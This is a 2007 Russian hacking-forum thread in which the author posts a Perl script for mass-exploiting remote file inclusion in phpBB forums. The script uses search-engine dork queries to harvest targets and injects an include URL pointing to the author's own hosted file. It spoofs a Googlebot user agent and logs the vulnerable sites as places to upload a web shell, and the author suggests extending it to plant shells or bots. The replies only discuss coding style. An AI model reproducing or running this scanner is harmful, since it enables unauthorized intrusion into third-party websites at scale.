Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Auto Multi Includes (https://forum.antichat.xyz/showthread.php?t=34095)

flipper 24.02.2007 23:44

Auto Multi Includes
 

===== ..::Вступление::.. =====

Найдя (или узнав) какую-либо серьезную багу, наверняка все лезут в google и начинают тыкать по ссылкам проверяя проходит или нет... Ты никогда не задумывался над автоматизацией процесса, ведь любую рутинную работу можно автоматизировать и тогда схема действий будет предельно проста: ты запускаешь немного подправленный скрипт, и уже через час перед тобой список линков куда можно залить шелл. Сейчас мы будем писать тот самый волшебный скрипт для автоматизации всей грязной работы….

===== ..::Основная часть::.. =====

Итак, приступим…
Скрипт должен выполнять несколько функций, это:
  1. Поиск подходящих сайтов.
  2. Проверка на уязвимости
  3. Если сайт уязвим, то вывод в лог. (в принципе можно пофантазировать и добавить еще что-нибудь, например залить шелл или установить бота)

Сначала нужно определиться с на какую багу будем проверять. В качестве демонстрации сойдет возможность инклуда в модулях phpbb (подробнее http://someshit.net/showthread.php?t=159 ).
Как я уже говорил выше нужно найти подходящие сайты для этого лучше использовать не всеми любимый www.google.com, а www.search.aol.com/aolcom. Так как google в последнее время начал часто выдавать страницу sorry, при использовании сложных запросов вроде:
Код:

inurl:"forumdisplay.php" +"Powered by: vBulletin Version 3.0.0..4" 
или
"Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl -exploit

Сам код можно скачать: тут

Второй шаг это идем в google поисковик и начинаем его "мучать" на предмет выдачи как можно большего числа форумов phpbb, либо идем на... http://johnny.ihackstuff.com и ищем там наиболее подходящий вариант.

Начинаем писать код...
Код:

#!/usr/bin/perl -w

# Flipper auto scan ( Public Version )
# (c)ode by flipper
# 20.02.2007

use strict;
#use warnings;
use LWP::UserAgent;

our $hop = 50; # число скачков по результатам поисковика
our $banner = 'inurl%3A%22viewforum.php%3Ff%3D%22%2B%22Powered+by+PHPBB%22+-phpbb.com+-exploit'; # текст для поиска
#our $banner[1] = 'inurl%3A%22viewtopic.php%3Ft%3D%22%2B%22Powered+by+PHPBB%22+-phpbb.com+-exploit';
our $access = 'LKSJDLMCeijmefeisjiIJF'; # Текст для сравнения (удачный или нет инклуд)
our $mysite = 'http://www.f-l-i-p-p-e-r.narod.ru/1.txt'; # URL который будет инклудиться
our @content = ();
#our $proxy = '172.16.0.1:8080';  # расскоментируйте если хотите использовать
our $host = '';
our $query = '';
our $url = '';


# конектимся на поисковик
print "[::searching::]\n";

for(my $i = 1; $i <= $hop; $i++) # переход по страницам результатов
{
        my $ua = LWP::UserAgent->new;
      if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
          $ua->proxy('http', "http://$proxy/"); };
      $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
        my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
        $req->header('Accept' => 'text/html');
        my $res = $ua->request($req);
        push @content, $res->content;
}

# записываем URL'ы в массив
our @URLS;
foreach my $page (@content){
 while ($page =~m/http:\/\/(.+?)<\/p>/g){
        if ($1 !~ m/google|cache|translate|websearch|aol|w3|<b>/){
                        push (@URLS,$1);
        }
      }}

#open(URL, ">urls.txt");
#foreach $url (@uRLS) {print URL "$url\n";}
#close (URL);

print "[::exploiting::]\n";
# читаем из файла includ в массив
open(INCLUD, "<include.txt");
my @includ = <INCLUD>; close (INCLUD);
open(SUC, ">SUCCESS.txt");
# начинаем...
  foreach my $url(@URLS)
{
    $query=$url;
    $host=$url;                    #                      http://www.somehost.ru/phpbb/viewforum.php|f=40
    $host =~ s/href=\"?http:\/\///; # чистим URL что бы    www.somehost.ru/phpbb/viewforum.php|f=40
    $query=~ s/(.*\/)(.*)/$1/;      # он был пригоден      www.somehost.ru/phpbb/
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; # для подстановки www.somehost.ru/
    # if ($query eq "") {$query ="/";};
        foreach my $include (@includ) {  # пробуем подставить URL с нашим кодом
            chomp($include);        # убираем символ \n
            #  print "Host: $host\n";
            #  print "URL: $query\n";
            #  print "INC: $include\n";
            #  print "MY: $mysite\n";
            #  print LOG "host: $query$include$mysite\n----------------\n\n"; };
              my $ua = LWP::UserAgent->new;
              if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
                  $ua->proxy('http', "http://$proxy/"); };
              $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
              my $req = HTTP::Request->new(GET => "http://$query$include$mysite");
              $req->header('Accept' => 'text/html');
              my $res = $ua->request($req);
              if($res->content =~ /$access/oi) {print SUC "$query$include\n";} #нашли свой текст значит удачно!!!
#                else {print "[-] $a$b$include\n";}
#            }
        }
}

close (SUC);

===== ..::Заключение::.. =====

Хотелось бы дать несколько пояснений. В переменную $mysite записывается адрес файла (или сайта) который будет инклудиться, в случае удачи, текст переменной $access будет присутствовать на странице и будет выведен в лог. В принципе скрипт можно адаптировать под любую багу, а также добавить функцию для закачки шелла или установки бота.
Если вы не знаете Perl то рекомендую прочитать ссылки на манны в конце статьи, а далее уже приобрести какой-нибудь хороший учебник.
Да и еще… полноценное тестирование скрипта я не проводил, в принципе если наличие баги на лицо то он должен ее показать. Сам скрипт является одним из первых моих творений после начала изучения Perl’a поэтому ногами за кривое его написание просьба не пинать, а конструктивная критика наоборот приветствуется. Еще недавно видел k1b0rg выкладывал свой скрипт вобщем-то при небольшой доработке он может делать тоже самое, а из моего можно сделать модуль...
Ну, вот и все. Удачи...

При написании скрипта часть взята от s0L0b0t: http://hellknights.void.ru/
Так же Multi includes (видел у кого-то в подписи) http://www.someshit.net

В дополнение рекомендую почитать:
http://www.iho.ru/faq/manual/perl.html
http://www.lib.ru/PERL/LEONOV/perl_www.txt

Copyright© 2007 Flipper(2900358). All rights reserved.

flipper 26.02.2007 17:44

Хоть сказал бы кто нибудь, понравилась или нет???

genom-- 26.02.2007 22:17

извини конечно но идея ненова -- помнится уже читал похошее в журнале хакер пару лет назад но молодец конечно --- хотябы за то что юзаешь LWP а не слащавый IO:Socket

Digimortal 26.02.2007 22:29

>> извини конечно но идея ненова -- помнится уже читал похошее в журнале хакер пару лет назад но молодец конечно --- хотябы за то что юзаешь LWP а не слащавый IO:Socket

лол )), и чем это IO:Socket так слащав ?? )

n4n0bit 27.02.2007 02:08

из-за простаты LWP +))
Мне наобарот нравиться испозовать чистый use Socket а не IO::Socket, IO::Socket вообще не прикалывает.

blackybr 27.02.2007 20:34

Написал бы с потоками еще, ьыло бы супер. А так строго говоря очередной крякер инета )

KSURi 03.03.2007 21:42

Ох что-то мне слишком знаком этот код... 100% где-то видел на забугорных сайтах

Digimortal 04.03.2007 01:42

>> Ох что-то мне слишком знаком этот код... 100% где-то видел на забугорных сайтах

так может ты его видел как раз-таки в боте n4n'а ? )


Время: 22:49